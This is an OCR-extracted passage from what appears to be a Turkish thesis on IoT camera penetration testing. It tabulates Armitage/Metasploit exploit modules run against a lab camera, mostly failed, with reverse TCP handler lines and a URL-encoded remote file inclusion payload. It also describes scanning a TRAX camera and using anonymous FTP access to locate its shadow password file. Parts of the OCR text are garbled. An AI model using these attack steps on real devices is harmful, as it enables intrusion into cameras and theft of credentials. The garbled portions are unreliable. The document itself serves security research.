[*] Exploit completed, but no session was created.
[-] 192.168.0.25:80 - Exploit failed [disconnected]: Errno::ECONNRESET
HTTP | snortreport_exec Connection reset by peer
[-] Exploit aborted due to failure: not-found: The target server fingerprint * ( 401-
HTTP | sonicwall_gms_upload Basic realm="index.html" )" does not match "(?-mix:Apache-Coyote)", use 'set
FingerprintCheck false' to disable this check.
HTTP sggll;:walI_scrutm|zer_meth0ddeta|I [-] 192.168.0.25:80 - Exploit aborted due to failure: no-target: Unsupported target
HTTP | spree_search_exec [*] The server returned: 401 Unauthorized
HTTP | spree_searchlogic_exec [*] The server returned: 404 Not Found
HTTP | struts2_content type ognl [-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
- —= peer
[-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
HTTP | struts2_rest_xstream peer
HTTP struts_code_exec_exception_delegat | [-] Exploit failed: The following options failed to validate: TARGETURI.
or [*]1 Exploit completed, but no session was created.
HTTP | struts code exec parameters [-] Exploit failed: java/meterpreter/reverse_tcp is not a compatible payload.
_Code_exec_p [*] Exploit completed, but no session was created.
[-] Exploit aborted due to failure: no-target: 192.168.0.25:8080 - In order to
HTTP | struts_default_action_mapper autodetect, a valid action, returning 200, must be provided as TARGETURI,
returning 200
HTTP | struts dev mode [-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
- = peer
HTTP | struts dmi exec [-] Exploit failed: java/meterpreter/reverse_tcp is not a compatible payload.
- = [*] Exploit completed, but no session was created.
. [-] Exploit failed: java/meterpreter/reverse_tcp is not a compatible payload.
HTTP | struts_dmi_rest_exec [*]1 Exploit completed, but no session was created.
HTTP | struts include params [-] Exploit failed: java/meterpreter/reverse_tcp is not a compatible payload.
- -P [*]1 Exploit completed, but no session was created.
HTTP | stunshell eval [-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
- peer
HTTP | stunshell_exec [-] Exploit aborted due to failure: unknown: Failed to execute the command.
HTTP | sun jsws_dav_options [-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
- = peer
[-] Exploit failed: The following options failed to validate: USERNAME,
HTTP | sysaid_auth_file_upload PASSWORD.
[*] Exploit completed, but no session was created.
. . [-] Exploit aborted due to failure: unknown: 192.168.0.25:8080 - WAR upload
HTTP | sysaid_rdslogs_file_upload failed
HTTP | testlink_upload_exec [-] Registration failed
HTTP | tomeat_jsp_upload_bypass [-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
- - peer
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[-] Exploit aborted due to failure: not-found: The target server fingerprint * ( 401-
HTTP | tomcat mar deplo Basic realm="index.html" )" does not match "(?-
—mar_deploy mix:Apache.*(Coyote|Tomcat))", use 'set FingerprintCheck false' to disable this
check.
[-] Exploit aborted due to failure: not-found: The target server fingerprint " ( 401-
HTTP | tomcat mar upload Basic realm="index.html" )" does not match "(?-
—mar_up mix:Apache.*(Coyote|Tomcat))", use ‘set FingerprintCheck false' to disable this
check.
HTTP | trag_plugin_exec [*] Started reverse TCP handler on 10.0.2.15:22001
HTTP trendmicro_threat_discovery_admin | [-] Exploit failed [unreachable]: Rex::ConnectionRefused The connection was
_sys_time_cmdi refused by the remote host (192.168.0.25:443).
HTTP | twiki_debug_plugins ‘[J-gelrzxplon failed [disconnected]: Errno::ECONNRESET Connection reset by
HTTP | vOpcr3w_exec [-] Exploit aborted due to failure: unknown: Failed to execute the command.
HTTP | vbseo_proc_deutf ‘[J-gelrzxplon failed [disconnected]: Errno::ECONNRESET Connection reset by
HTTP | vbulletin_unserialize [-] Exploit gborted due to failure: no-target: 192.168.0.25:80 - Failed to detect a
vulnerable instance
HTTP | vmturbo vmtadmin exec noauth [-] Exploit aborted due to failure: unknown: 192.168.0.25:80 - Unable to execute
- == payload
HTTP | vtiger_php_exec [*] Started reverse TCP handler on 10.0.2.15:27642
HTTP | vtiger_soap_upload [-] Exploit aborted due to failure: unknown: 192.168.0.25:80 - Upload failed
HTTP | webpagetest_upload_exec ‘[J—gelrzxplon failed [disconnected]: Errno::ECONNRESET Connection reset by
HTTP | werkzeug_debug_rce [-] Secret code not detected.
[-] Exploit failed: The following options failed to validate: USERNAME,
HTTP | wikka_spam_exec PASSWORD, PAGE.
[*] Exploit completed, but no session was created.
- . . | [-]1192.168.0.25:80 - Exploit failed: The following options failed to validate:
HTTP \I,Zpﬁn:g Jae:j_forms_unauthentlcated_fl FORM_PATH.
-up [*] Exploit completed, but no session was created.
[-] Exploit failed: The following options failed to validate: USERNAME,
HTTP | x7chat2_php_exec PASSWORD.
[*] Exploit completed, but no session was created.
HTTP | zabbix_script_exec [-] Exploit aborted due to failure: no-access: Login failed
HTTP | zemra_panel_rce [-] Exploit aborted due to failure: unknown: Failed to execute the command.
HTTP zenworks_configuration_manageme | [-] Exploit failed [unreachable]: Rex::ConnectionRefused The connection was
nt_upload refused by the remote host (192.168.0.25:443).
[-] Exploit failed [unreachable]: Rex::ConnectionRefused The connection was
HTTP | zenworks_control_center_upload refused by the remote host (192.168.0.25:443).
HTTP | zpanel_information_disclosure_rce | [-] It appears that the version of pChart is not vulnerable...
realserver | describe [*1 Kill the master rmserver pid to prevent shell disconnect
webapp | actualanalyzer_ant_cookie_exec [*] Started reverse TCP double handler on 10.0.2.15:20919
webapp | arkeia_upload_exec [ E>§pI0|t aborted due to failure: none: 192.168.0.25:80 - File wasn't uploaded,
aborting!
webapp | awstats_configdir_exec [*] This server may not be vulnerable
weba awstats miarate exec [*] The server returned: 404 Not Found
PP _migrate_ [*] This server may not be vulnerable
weba awstatstotals multisort [*] The server returned: 404 Not Found
PP - [*] This server may not be vulnerable
. [*] 192.168.0.25:80 - The server returned: 404 Not Found
webapp - | barracuda_img_exec [*]1192.168.0.25:80 - This server may not be vulnerable
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[*] 192.168.0.25:80 - Trying uri
/base/base_qry_common.php?BASE_path=%68%74%74%70%3a%2f%2f%31%
webapp | base_gry_common 30%2e%30%2e%32%2e%31%35%3a%38%30%38%30%2f%4a%6a%30%65%
7a%30%4d%68%76%41%64%62%3f
[-] 192.168.0.25:80 - Server returned non-200 status code (404)
A [-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
webapp | basilic_diff_exec peer
webapp | cacti_graphimage_exec [-] 192.168.0.25:80 - Could not locate a valid image ID
webapp | cakephp_cache_corruption [*] Requesting our payload
webapp | carberp_backdoor_exec [*] Started reverse TCP handler on 10.0.2.15:19477
weba Citrix access qateway exec [-] Exploit failed [unreachable]: Rex::ConnectionRefused The connection was
PP - -9 v refused by the remote host (192.168.0.25:443).
weba clipbucket upload exec [-] Exploit aborted due to failure: none: 192.168.0.25:80 - File wasn't uploaded,
PP P -{pload_| aborting!
webapp | coppermine_piceditor [-] Exploit aborted due to failure: unknown: Error POSTing exploit data
webapp | datalife_preview_exec [*] Exploiting the preg_replace() to execute PHP code
webapp | dogfood_spell_exec [*] Started reverse TCP double handler on 10.0.2.15:23088
webapp | drupal_coder_exec [-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
- - peer
weba drupal restws exec [-] Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed
PP pal_restws_ out (192.168.0.25:80).
[-] Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed
webapp | egallery_upload_exec out (192.168.0.25:80).
weba flashchat upload exec [-] Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed
PP _Uploag_ out (192.168.0.25:80).
weba foswiki maketext [-] Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed
PP - out (192.168.0.25:80).
weba freenbx confia exec [-] Exploit failed [unreachable]: Rex::ConnectionTimeout The connection timed
PP phx_contig_ out (192.168.0.25:80).
weba eneric exec [-] 192.168.0.25:80 - Exploit failed [unreachable]: Rex::ConnectionTimeout The
PP - connection timed out (192.168.0.25:80).
[-] 192.168.0.25:80 - Exploit failed: The following options failed to validate:
webapp | get_simple_cms_upload_exec USERNAME, PASSWORD.
[*] Exploit completed, but no session was created.
webapp | google_proxystylesheet_exec [*] Could not read the location header: 401 Unauthorized
webapp | graphite_pickle_exec [*] Sending exploit payload...
webapp | guestbook_ssi_exec [*] Started reverse TCP double handler on 10.0.2.15:15255
weba hastymail exec [-] Exploit failed: The following options failed to validate: USER, PASS.
PP ymail_ [*]1 Exploit completed, but no session was created.
webapp | havalite_upload_exec [-] Exploit aborted due to failure: not-found: 192.168.0.25:80 - No upload.php
- - found
weba horde unserialize exec [-] Exploit aborted due to failure: not-vulnerable: 192.168.0.25:80 - Target isn't
PP - - vulnerable, exiting...
webapp | instantcms_exec [*] Executing payload...
webapp | invision_pboard_unserialize_exec [-] Exploit failed: 400
[*] 404
Error 404: Not Found
. - invalid request
webapp | joomla_akeeba_unserialize [-] Exploit aborted due to failure: unknown: 192.168.0.25:80 - Unexpected
response
[*] Server stopped.
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webapp | libretto_upload_exec [-] Exploit aborted due to failure: unexpected-reply: 192.168.0.25:80 - Unknown

reply: 404

webapp | maarch_letterbox_file_upload [-] Exploit aborted due to failure: unexpected-reply: Server responded with status
code 404

webapp | mambo_cache_lite [-] 192.168.0.25:80 - Server returned non-200 status code (404)

webapp | mitel_awc_exec [-] Unexpected reply: 404 "Error 404: Not Found\nFile not found"...

webapp | mybb_backdoor [-] Cannot connect to /index.php on 192.168.0.25, got 404.

webapp | nagios3_history_cgi [-] Exploit aborted due to failure: no-target: No matching target

webapp | nagios3_statuswml_ping [-] Please specify the correct path to statuswml.cgi in the URI parameter

[-] Exploit failed: The following options failed to validate: PASSWORD.

webapp | nagios_graph_explorer [*] Exploit completed, but no session was created.

webapp | narcissus_backend_exec [*] Sending malicious request...

[-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
peer

[-] Exploit failed: The following options failed to validate: USER, PASS.

[*] Exploit completed, but no session was created.

[-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
peer

[-] Exploit failed: The following options failed to validate: USERNAME,
webapp | opensis_modname_exec PASSWORD.

[*] Exploit completed, but no session was created.

[-] 192.168.0.25:80 - Exploit failed [disconnected]: Errno::ECONNRESET
Connection reset by peer

[-] Exploit failed: The following options failed to validate: USERNAME,
webapp | openx_banner_edit PASSWORD.

[*] Exploit completed, but no session was created.

[-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
peer

webapp | open_flash_chart_upload_exec

webapp | openemr_sqli_privesc_upload

webapp | openemr_upload_exec

webapp | openview_connectednodes_exec

webapp | oscommerce_filemanager

webapp | pajax_remote_exec [*] 192.168.0.25:80 - The server returned: 404 Not Found

[-] Exploit aborted due to failure: unexpected-reply: 192.168.0.25:80 - Sending

webapp | php_charts_exec payload failed

webapp | php_vbulletin_template [-] exploit failed: no response
webapp | php_xmlrpc_eval [-] exploit failed: no response
webapp | phpbb_highlight [*]1 No valid topic ID found, please specify the TOPIC option.

[-] Exploit aborted due to failure: not-found: Couldn't find token and can't
continue without it. Is URI set correctly?

[-] Exploit failed: The following options failed to validate: USERNAME,
webapp | piwik_superuser_plugin_upload PASSWORD.

[*] Exploit completed, but no session was created.

webapp | phpmyadmin_config

webapp | projectpier_upload_exec [-] The upload most likely failed

[-] Exploit aborted due to failure: not-found: 192.168.0.25:80 - No process-

webapp | projectsend_upload_exec upload.php found

webapp | redmine_scm_exec [*] The server returned: 404 Not Found

webapp | seportal_sqli_exec [-] Exploit aborted due to failure: unknown: 192.168.0.25:80 - Login was not
succesful!

webapp | simple_e_document_upload_exec ][(-)]ulri]gplmt aborted due to failure: not-found: 192.168.0.25:80 - No upload.php

webapp | skybluecanvas_exec [*] Started reverse TCP double handler on 10.0.2.15:6255
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weba sohoblog file upload [-] Exploit aborted due to failure: not-vulnerable: Failed to retrieve hash, server
PP | sphpblog_file_up may not be vulnerable.
webapp | spip_connect_exec [*] 192.168.0.25:80 - Attempting to exploit...
webapp | squash_yaml_exec [*] Started reverse TCP handler on 10.0.2.15:15198
- [-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
webapp | sugarcrm_rest_unserialize_exec peer
[-] Exploit failed: The following options failed to validate: USERNAME,
webapp | sugarcrm_unserialize_exec PASSWORD.
[*] Exploit completed, but no session was created.
webapp | tikiwiki_graph_formula_exec [*1 No response from the server
[-] Error creating temporary file.
webapp | tikiwiki_jhot_exec [-] No response from the server
[-] Error removing temporary file.
webapp | tikiwiki_unserialize_exec g:Llel Wiki path couldn't be disclosed. The php setting ‘display_errors' must be
[-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
webapp | tikiwiki_upload_exec peer
[!] This exploit may require manual cleanup of 'LRjrxkprzd.php' on the target
[-] Exploit failed: The following options failed to validate: USERNAME,
webapp | tuleap_unserialize_exec PASSWORD.
[*] Exploit completed, but no session was created.
webapp | twiki_history [-] Exploit aborted due to failure: unknown: Error sending exploit request
webapp | twiki_maketext [-] Exploit aborted due to failure: unknown: Error injecting the payload
webapp | twiki_search [-] Exploit aborted due to failure: unknown: Error sending exploit request
. . [*] Brute forcing to find a valid node id...
webapp | vbulletin_vote_sgli_exec [-] node id not found
webapp | vicidial_manager_send_cmd_exec [-] Exploit aborted due to failure: unknown: 192.168.0.25:80 - Unknown
response, check the target
webapp X;;::jd|:)I(Etéser_author|zatlon_unauth_ [-] Exploit aborted due to failure: unexpected-reply: Unexpected reply
webapp | webtester_exec [-] Exploit aborted due to failure: unknown: 192.168.0.25:80 - Something went
- wrong
[-] Exploit failed: The following options failed to validate: USERNAME,
webapp | wp_admin_shell_upload PASSWORD.
[*] Exploit completed, but no session was created.
webapp | wp_advanced_custom_fields_exec | [-] Exploit aborted due to failure: unexpected-reply: Unexpected reply — 404
[-] Exploit failed: The following options failed to validate: WP_USERNAME,
webapp | wp_ajax_load_more_file_upload WP_PASSWORD.
[*] Exploit completed, but no session was created.
[-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
webapp | wp_asset_manager_upload_exec peer
webapp wp_creativecontactform_file_uploa | [-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
d peer
webapp | wp_downloadmanager_upload ]Ei-l]eExplon aborted due to failure: unknown: 192.168.0.25:80 - Error on uploading
webapp wp_easycart_unrestricted_file_uplo | [-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
ad peer
weba wn foxvoress upload [-] Exploit aborted due to failure: unknown: 192.168.0.25:80 - Unexpected
PP P_foxypress_up response, exploit probably failed!
webapp | wp_holding_pattern_file_upload F[)—e]eIrEprmt failed [disconnected]: Errno::ECONNRESET Connection reset by
webapp wp_inboundio_marketing_file_uplo | [-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
ad peer
. . [-] Exploit aborted due to failure: unexpected-reply: 192.168.0.25:80 - Unable to
webapp | wp_infusionsoft_upload deploy payload, server returned 404
webapp | wp_lastpost_exec [*] 192.168.0.25:80 - The server returned: 413 Request Too Large
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Wb mobile detector upload execut [-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
webapp o P - -Uploac_ peer
[*] Server stopped.
WD ninia forms unauthenticated fi [-] 192.168.0.25:80 - Exploit failed: The following options failed to validate:
webapp | WYP-Ninja_torms_ - | FORM_PATH.

le_upload [*] Exploit completed, but no session was created.

[-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
peer

[-] Exploit aborted due to failure: unknown: 192.168.0.25:80 - Unable to access
vulnerable URL

[-] Exploit failed: The following options failed to validate: USERNAME,
PASSWORD.

[*] Exploit completed, but no session was created.

[-] Exploit aborted due to failure: no-target: 192.168.0.25:80 - / does not seeem to
be WordPress site

webapp | wp_nmediawebsite_file_upload

webapp | wp_optimizepress_upload

wp_photo_gallery_unrestricted_file

webapp upload

webapp | wp_pixabay_images_upload

webapp | wp_platform_exec [*]Uploading payload

[-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
peer

[-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
peer

[-] Exploit aborted due to failure: unexpected-reply: 192.168.0.25:80 - Unable to
deploy payload, server returned 404

[-] Exploit failed: The following options failed to validate: WP_USER,
webapp | wp_slideshowgallery_upload WP_PASSWORD.

[*] Exploit completed, but no session was created.

[-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
peer

webapp | wp_property_upload_exec

webapp | wp_reflexgallery_file_upload

webapp | wp_revslider_upload_execute

webapp | wp_symposium_shell_upload

webapp | wp_total_cache_exec [-] Exploit aborted due to failure: no-target: / does not seeem to be Wordpress site

[-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by
peer

wp_wpshop_ecommerce_file_uploa | [-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by

d peer

[-] Exploit failed: The following options failed to validate: USER, PASSWORD.
[*] Exploit completed, but no session was created.

[-] Exploit aborted due to failure: unexpected-reply: 192.168.0.25:80 - Upload
failed

webapp | wp_worktheflow_upload

webapp

webapp | wp_wptouch_file_upload

webapp | wp_wysija_newsletters_upload

webapp | xoda_file_upload [-]File wasn't uploaded, aborting!

webapp | zeroshell_exec [-] Exploit failed [disconnected]: Errno::ECONNRESET Connection reset by

peer
webapp | zoneminder_packagecontrol_exec g]ilggplont aborted due to failure: no-access: 192.168.0.25:80 - Authentication

[-] Exploit failed: The following options failed to validate: USERNAME,
webapp | zpanel_username_exec PASSWORD.

[*] Exploit completed, but no session was created.
[-] 192.168.0.25:80 - No reply from the target, this may not be a vulnerable
system

wyse hagent_untrusted_hsdata

Gergeklestirilen 242 adet saldirinin; 18 tanesinde saldiri sonucuna iligkin mesaj
goriintiilenmemis olup, 34 tanesinde saldirinin tamamlandig1 ancak oturumun ac¢ilmadigi,
49 tanesinde baglantinin sifirlandigi, 22 tanesinde baglantinin zaman asimina ugramasindan
dolay1 saldirinin basarisiz oldugu sonuglar1 alinmis olup, geri kalanlarinda ise kimlik
dogrulamanin basarisiz oldugu, dosya yiiklenemedigi ve islemin iptal oldugu, 404

bulunamadi hatasi, basarisiz yiikleme oldugu, baglantinin uzak ana bilgisayar tarafindan
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reddedildigi icin baglantinin reddedildigi, hedefin savunmasiz olmadig1 yine de denendigi,
hedeften cevabin olmadigi ve sistemin savunmasiz olmayabilecegi gibi sonuglarin alindigi

gbzlenmistir.

3.2. TRAX Marka Kameraya Yonelik Uygulama

Bu béliimde Shenzhen Micro Star Electronic Tecnology Co. Ltd. sirketi tarafindan iiretilen
TRAX tr-100 model kablosuz IP tabanli kameraya yonelik yapilan saldirilara yer verilmistir.
Bu kameranin tasariminda; 6nde bir adet kamera ile kameranin yaninda microsd kart yuvasi
bulunmakta olup, arka kisminda reset diigmesi ile giic adaptorii takilabilecek bir giris

bulunmaktadir.

TRax

Resim 3.26. TRAX tr-100 model kablosuz IP kamera

Oncelikle, cihazin test edilmesi igin kameranm gerektigi gibi ¢alisip ¢alismadigi kontrol
edilmistir. Cihazin arkasindaki sifirlama diigmesine basilarak kamera fabrika ayarlarina
sifirlanmigtir. Daha sonra kullanma kilavuzunda belirtildigi sekilde mobil telefona SPIC
uygulamasi yiiklenmis ve Resim 3.27.’deki goriintii elde edilmistir. Ardindan uygulama

lizerinde kameranin bilgilerine ulasilmistir.
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@ W wsa O 29|

< Kamera bilgisi

IP adres 192.168.0.27
Girlg 192.168.0.255
MAC 00:0C:43:9D0:84:CO
Versiyon V2.0.3304
Ulkeniz Basanh ginig

Yeniden Baglatma
Onar

El lle guncelleme

’020-08-31 20:42:19

Resim 3.27. Mobil uygulama iizerinde kamera goriintiisii ile kamera bilgileri

3.2.1. Bilgi toplama

Calisma kapsaminda yapilan aragtirmalarda gerek literatiir taramasinda gerekse internet
sitelerinde TRAX tr-100 model kablosuz IP tabanli kameralar i¢in de herhangi bir agiklik
kaydi bulunamamis olup, Micro Star Electronic Tecnology iireticisinin ayn1t FCC ID
numarasi (Federal iletisim Komisyonu tarafindan verilen benzersiz seri numarasi- AK8639)
ile farkli kameralar1 oldugu (itek motorized camera, deltago IP Camera, Tuya Wi-Fi P2P IP

camera) tespit edilmis ve bunlara ait herhangi bir agiklik kaydi da bulunamamustir.

Daha sonra kali bilgisayarda armitage araci kullanilarak yapilan taramada bu cihaza ait

bilgiler alinmistir (Resim 3.28.).
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msf > db nmap --min-hostgroup 96 -sV -n -T4 -0 -F --version-light 192.168.8.27

[*] Nmap: Starting Nmap 7.60 ( https://nmap.org ) at 2820-89-81 11:11 EDT

[*] Nmap: Stats: @:00:01 elapsed; @ hosts completed (@ up), 1 undergoing Ping Scan

[#¥] Nmap: Ping Scan Timing: About 180.80% done; ETC: 11:11 (0:80:80 remaining)

[*] Nmap: Nmap scan report for 192.168.0.27

[*] Nmap: Host is up (©.0853s latency).

[*] Nmap: Mot shown: 98 filtered ports

[*] Nmap: PORT STATE SERVICE VERSION

[*] Nmap: 21/tcp open fTtp BusyBox fTtpd (D-Link DC5-932L IP-Cam camera)

[*] Nmap: 23/tcp open telnet BusyBox telnetd

[*] Nmap: Warning: 0SScan results may be unreliable because we could not find at least 1 open and
1 closed port

[*] Nmap: Device type: bridge|general purpose

[*] Nmap: Running (JUST GUESSING): Oracle Virtualbox (96%), QEMU (94%)

[*] Nmap: 0S CPE: cpe:/o:oracle:virtualbox cpe:/a:qgemu:gemu

[*] Nmap: Aggressive 0S5 guesses: Oracle Virtualbox (96%), QEMU user mode network gateway (94%)
[*] Nmap: No exact 0S matches for host (test conditions non-ideal).

[*] Nmap: Service Info: Host: anyka; Device: webcam; CPE: cpe:/h:dlink:dcs-9321

[*] Nmap: 05 and Service detection performed. Please report any incorrect results at https://
nmap.org/submity/ .

[*] Nmap: Mmap done: 1 IP address (1 host up) scanned in 9.34 seconds

Resim 3.28. Armitage ile yapilan tarama sonucu cihaza ait edinilen bilgilere iliskin ekran
goruntusu

Tarama sonucunda cihaz adi (hostname) “anyka” olan ve “BusyBox ftpd” servisi lizerinden
“D-Link DCS-932L IP-Cam” olarak versiyon bilgisi yayimlayan “webcam” cihazi bilgilerine
erisilmistir. Ayn1 sorgu sonucunda CPE (miisteri tarafi cihazi) bilgisi ise “cpe:/h:dlink:dcs-
9321” olarak goriilmektedir.

Bu kapsamda tekrar cihaz agiklarma iligkin bilgi toplamak amaciyla CVE veri tabaninda
yapilan aragtirma sonucunda; 1.02 donanim yazilimina sahip D-Link DCS-932L kameranin
UDP yayin paketi araciligiyla saldirganlarin sifreye erisebilmelerine olanak taniyabilecegi
ile igerisinde DCS-932L model cihazin da bulundugu D link kameralarinda kotii amagh flash
nesnelerini barindiran sitelerin bir siteler arasi talep sahtekarligi (Cross Site Request
Forgery-CSRF) saldirisi yoluyla cihazin ayarlarina erismesine ve bunlar1 degistirmesine izin
veren giivenli olmayan bir CrossDomain. XML dosyas1 bulundurdugu tespit edilmistir.
Kameranin web konsolunda oturum agan bir kurbanin bagka bir tarayici sekmesinden koti
amacl bir flash dosyas1 barindiran kotii amagh bir siteyi ziyaret etmesi durumunda, kotii
amacl flash dosyasinin, kimlik bilgilerini bilmeden kurbanin DCS serisi kamerasina istekler

gonderebilecegi de tespit edilmistir [93, 94].
3.2.2. Armitage kullanim ile gerceklestirilen saldirilar
Kali makinesinde Armitage ¢alistirilmistir. Hedef olarak IP tabanli kameranin daha 6nceden

tespit edilen IP adresi girilerek Nmap komutuyla tarandiktan sonra, cihaza yonelik

gergeklestirilebilecek saldirilarin tespiti icin  “find attack™ komutu kullanilmistir. Saldirt
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analizi tamamlandiginda, Resim 3.29.’daki ekran goriintiisii ile “Attack” meniisii altindaki
saldirilarin  denenebilecegi mesaji goriilmektedir. Bu cihaza yonelik asagidaki ekran
gorilintiisiinde goriilen 4 adet Onerilen saldiriin tamami denenerek saldir1 sonucu konsol

ciktilar1 Cizelge 3.2°de paylasilmistir.

Places ~  [ml armitage-ArmitageMain =

Armitage LB C N -

Armitage View Hosts Attacks Workspaces Help

» (@ auxiliary Address & Label Description Pivot
» [§ exploit H 192.168.0.2%

» @i payload H
» (@l post

Resim 3.29. Armitage ile yapilan tarama sonucu cihaza ait edinilen bilgilere iliskin ekran
goruntisu

Cizelge 3.2. Armitage ile TRAX tr-100 model kablosuz IP tabanli kameraya yonelik yapilan
saldirilar ile sonuglari

Saldin

Tiirii Caligtirilan Saldir1 Modiilii | Saldir1 sonucu ekran ¢iktist

FTP proftpd_133c_backdoor [*] 192.168.0.27:21 - Sending BackdoorCommand

[-]1192.168.0.27:21 — Exploit failed [disconnected]:
Errno::ECONNRESET Connection reset by peer

[-]1 192.168.0.27:21 - This server did not respond as expected:
230 Operation successful

[-]1 192.168.0.27:21 — Exploit aborted due to failure: no-target:
No matching target

FTP pureftpd_bash_env_exec

FTP vsftpd_234_backdoor

FTP wuftpd_site_exec_format

Armitage lizerinde denenen 4 saldiridan birinden saldir1 sonucuna iliskin cevap gelmezken,
digerlerinde de baglant1 sifirlanmasi, eslesen hedefin bulunamamasi ve beklenen islem

basarili yanitinin alinmamasi gibi saldirilarin basarisiz olduguna dair yanitlar alinmistir.

3.2.3. Root erisimine yonelik saldiri

Resim 3.28.’de goriilecegi iizere kamera iizerinde sadece 21 numarali portta FTP servisi ile

23 numaral1 portta telnet servisi ¢aligmaktadir.



47

Oncelikle 23 numarali port iizerinden telnet baglantis1 yapilmaya ¢alisilmistir. Ancak Resim

3.30.’dan da goriilebilecegi lizere root kullanicisi bu servis tizerinde sifre ile korunmaktadir.

Telnet 192.168.0.27 - O X

anyka login: root
Password:

Login incorrect
anyka login:

Resim 3.30. Telnet baglantisina iliskin ekran goriintiisii

Ardindan 21 numarali port lizerinden FTP zafiyetine yonelik saldirilar denenmistir. Bu
saldirilarda ilk olarak anonim sekilde FTP baglantis1 saglanmaya calisilmistir. Bu amagla
Windows bilgisayar1 iizerinde dosya yoneticisi kullanilarak kameranin FTP sunucusuna

anonim olarak baglanilmistir (Resim 3.31.).

D) /diini x [BE I

& 2> O O Guvenlidegil | ftp://192.168.0.27

W
&
(1

/ dizini

Ad  Boyut Degistirme tarihi

bin/ 7.01.2017 03:00:00
dev/ 1.01.1970 02:00:00
etc/ 23.03.2017 03:00:00
| init 0B 4.11.2015 03:00:00
lib/ 28.03.2017 03:00:00
mnt/ 1.01.1970 02:00:00
proc/ 1.01.1970 02:00:00
sbin/ 7.01.2017 03:00:00
sys/ 1.01.1970 02:00:00
tmp/ 2.09.2020 01:57:00
ust/ 7.01.2017 03:00:00
var/ 1.01.1970 02:00:00

Resim 3.31. FTP sunucusuna anonim olarak baglantiya iliskin ekran goriintiisii
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Gorildugii tizere FTP sunucusuna anonim olarak baglanti saglanmis ve kameranin dizin
listesi alinabilmistir. Bu asamadan sonra kameranin dahili kullanici adlarint ve onlarin
sifrelerini saklayan dosyalara erisim saglanmaya calisilarak kameranin kontroliinii ele
gecirme asamasina gecilmistir. Asagidaki komut satir1 ¢iktisindan goriilecegi iizere sz
konusu kullanici ad1 ve sifreleri saklayan shadow dosyasi /etc dizininin altinda ve sadece
root kullanicist tarafindan igslem yapilabilir haldedir. Ancak yine ayni komut ¢iktisindan
farkedilebilecek bir husus olarak bu dosyanin /etc/jffs2/shadow dosyasina sembolik olarak

baglantili oldugu karsimiza ¢ikmaktadir (Resim 3.32.).

Komut Istemi - ftp 192.168.0.27 — O Y
drwxr-xr-x 8 1001 1081 162 Jan 7 2817 usr ~
drwxr-xr-x 6 root root ® Jan 1 1970 var

226 Operation successful

ftp: 774 bytes received in ©.01Seconds 59.54Kbytes/sec.
Ftp> cd etc

258 Operation successful

Ftp> dir

208 Operation successful

150 Directory listing

total 12

- PWXP - - - 1 root root 823 Dec 17 2013 fstab

-rW-r--r-- 1 root root 46 Oct 19 20810 group

-PW-r--r-- 1 root root 84 Oct 19 2010 host.conf

-rW-r--r-- 1 root root 46 Oct 19 2010 hosts

drwxr-xr-x 2 1eel 1001 42 Jan 7 2017 init.d

-PW-r--r-- 1 root root 657 Mar 6 2013 inittab

druxr-xr-x 3 root root @ Sep 1 21:35 jffs2

-rW-r--r-- 1 root root 14 Oct 19 2010 1d.so.conf

-PW-r--r-- 1 root root 1022 Dec 17 2010 mdev.conf

-rw-r--r-- 1 root root 349 Oct 19 2010 nsswitch.conf

1 rWXrWXrwx 1 root root 12 Nov 8 2017 passwd -> jffs2/passwd
-rw-r--r-- 1 root root 816 May 8 2013 profile

1w rwxrux 1 16801 1801 17 Oct 13 2817 resolv.conf -> jffs2/resolv.conf
-rW-r--r-- 1 1001 1001 325 Nov 20 2014 services

1 recrwxrus 1 root root 12 Nov 8 2017 shadow -> jffs2/shadow
drwxr-xr-x 2 root root 31 May 24 2011 sysconfig

-rW-r--r-- 1 1001 1001 4128 Mar 23 2017 udhcpd.conf

226 Operation successful
Ttp: 1201 bytes received in @.85Seconds 25.55Kbytes/sec.
Ftp> v

Resim 3.32. FTP sunucusuna iligskin komut satir1 ¢iktisi

/etc/jtfs2 dizinindeki shadow dosyasinin 6zellikleri Resim 3.33."te goriilmektedir.
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L X rxXrux
-rw-r--r--
1 PX WX WX
drwxr-xr-x
-rw-r--r--

Ftp> cd jffs2
ftp> dir

Ftp> dir

total 93

- - P - P -
- WX -XP-X
-IW-rW-rw-
-rw-r--r--
-rwxr--r--
-rw-r--r--
-PWXr-XP-X
-rw-r--r--
- WX -XP-X
-rW-rw-r--
-rw-r--r--
-rw-r--r--

Ftp>

1
1
1
2

1

Invalid command.

N e )

1

1001
16001
root
root
leel

226 Operation successful
ftp: 1201 bytes received

258 Operation successful

280 Operation successful
158 Directory listing

root
root
root
1001
1601
16001
root
root
1001
1001
root
16001

226 Operation successful
ftp: 870 bytes received in ©.05Seconds 16.42Kbytes/sec.

Bl Komut Istemi - ftp 192.168.0.27

1001
1001
root
root
1001

in @

root
root
root
1001
1601
1001
root
root
1001
1001
root
1001

17

Oct

13

325 Nov 20

12

Nowv

31 May
4128 Mar

8
24
23

2017
2014
2017
2011
2017

_@5Seconds 25.55Kbytes/sec.

